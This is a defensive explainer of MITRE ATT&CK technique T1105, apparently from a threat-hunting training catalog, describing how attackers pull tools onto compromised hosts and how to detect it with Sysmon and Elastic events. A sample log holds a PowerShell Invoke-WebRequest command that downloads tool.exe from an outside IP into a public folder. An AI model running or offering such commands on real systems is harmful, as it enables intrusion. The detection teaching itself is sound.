Ingress Tool Transfer

Ingress tool transfer is the step where an attacker actually moves something new onto a compromised machine, a second-stage payload, a credential-dumping tool, a remote access utility, pulled in from outside the environment. It's the bridge between "I have some initial access" and "I have the actual tooling I need to do something with it."

This isn't tied to any one delivery mechanism. It covers any transfer of a file onto a host from an external source using tools already available on that system: PowerShell's own download cmdlets, `certutil`, `bitsadmin`, curl, or any built-in utility repurposed for the job, precisely because reusing a trusted, already-present tool avoids introducing a new suspicious binary that endpoint protection might immediately flag.

Very few intrusions arrive fully equipped. An initial foothold, a phishing macro, a web shell, an exploited service, is usually minimal by design, small enough to avoid detection. Whatever the attacker actually wants to do next, move laterally, dump credentials, maintain persistence, usually requires a real tool, and that tool has to come from somewhere.

Using a script host like PowerShell to perform the download rather than a dedicated downloader is a deliberate choice: it blends into an enormous amount of legitimate administrative traffic, and it means the "malicious" part of the operation is a single line of code running inside a completely trusted, signed process.

Data source: Sysmon Event ID 11 file-create records for the tool landing on disk, tied by process GUID to that process's Event ID 3 outbound connection and its destination fields

{
  "host": {
    "name": "WKSTN02"
  },
  "event": {
    "code": "1",
    "action": "start"
  },
  "process": {
    "name": "powershell.exe",
    "command_line": "powershell.exe -c Invoke-WebRequest -Uri http://203.0.113.44/tool.exe -OutFile C:\\Users\\Public\\tool.exe"
  },
  "destination": {
    "ip": "203.0.113.44",
    "port": 80
  }
}

Prebuilt Elastic rule: Remote File Download via PowerShell

Hunting this well means thinking in threes, not single events: a script-host process with a download-shaped command line, a network connection from that same process, and a file actually appearing on disk as a result. Filter process.name: "powershell.exe" for command lines referencing download cmdlets, then pivot to network events sharing the same process.entity_id in the following few seconds, then to a file-creation event (event.code: "11") for wherever that download would have landed.

The destination itself matters too: a connection to an IP address rather than a resolvable, reputable domain, or a destination that's never been contacted from that host before, both raise the value of an otherwise-ordinary-looking download command. The resulting file's location and name are worth checking too, a download landing somewhere unusual (a temp directory, a user's public folder) reads differently than one going to an expected software directory.

PowerShell downloading files is completely routine in a lot of legitimate environments: software deployment tools, update scripts, and administrative automation all do this constantly, often from internal file shares or well-known public software repositories.

The distinguishing signal is the destination and the surrounding context: a download from an internal, known-good source as part of a scheduled or expected task reads very differently from an ad-hoc download to an unfamiliar external IP address, especially one immediately following an already-suspicious process launch (an encoded command, an unusual parent process). Correlate the process, the connection, and the resulting file together rather than judging any one of them in isolation.

• MITRE ATT&CK T1105: Ingress Tool Transfer
• Elastic Security: Remote File Download via PowerShell

1 scenario in this catalog covers T1105. We don't name it — identifying the technique is part of what a scenario grades. Explore the dashboard →